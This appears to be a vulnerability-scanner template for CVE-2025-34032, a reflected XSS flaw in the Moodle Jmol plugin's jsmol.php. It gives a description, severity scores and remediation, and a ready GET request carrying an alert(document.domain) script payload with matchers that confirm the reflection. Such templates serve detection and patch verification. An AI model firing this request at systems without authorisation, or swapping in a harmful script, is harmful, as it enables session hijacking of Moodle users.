A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.
PoC
id: CVE-2025-34032
info:
name: Moodle LMS Jmol Plugin <= 6.1 - Cross-Site Scripting
author: madrobot,ritikchaddha
severity: medium
description: |
A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.
impact: |
Attackers can execute arbitrary JavaScript in victim browsers through crafted links containing XSS payloads in the data parameter, potentially leading to session hijacking.
remediation: |
Upgrade to a patched version of Moodle Jmol plugin that properly sanitizes user input in jsmol.php.
reference:
- https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2025-34032
classification:
epss-score: 0.00747
epss-percentile: 0.53115
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cve-id: CVE-2025-34032
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 1
tags: cve,cve2025,moodle,xss,edb,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(document.domain)%3C/script%3E&mimetype=text/html"
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'len(body) == 41'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
condition: and
- type: regex
regex:
- '^<script>alert\(document\.domain\)</script>\s*$'
# digest: 4a0a0047304502204d64eccc176684938b8c6e85700e67893922b530b58e0f630b7780017c11f583022100bed8343069128bb251c5b73c4afd3ef492287688e8b7a88b795f7753155093e3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.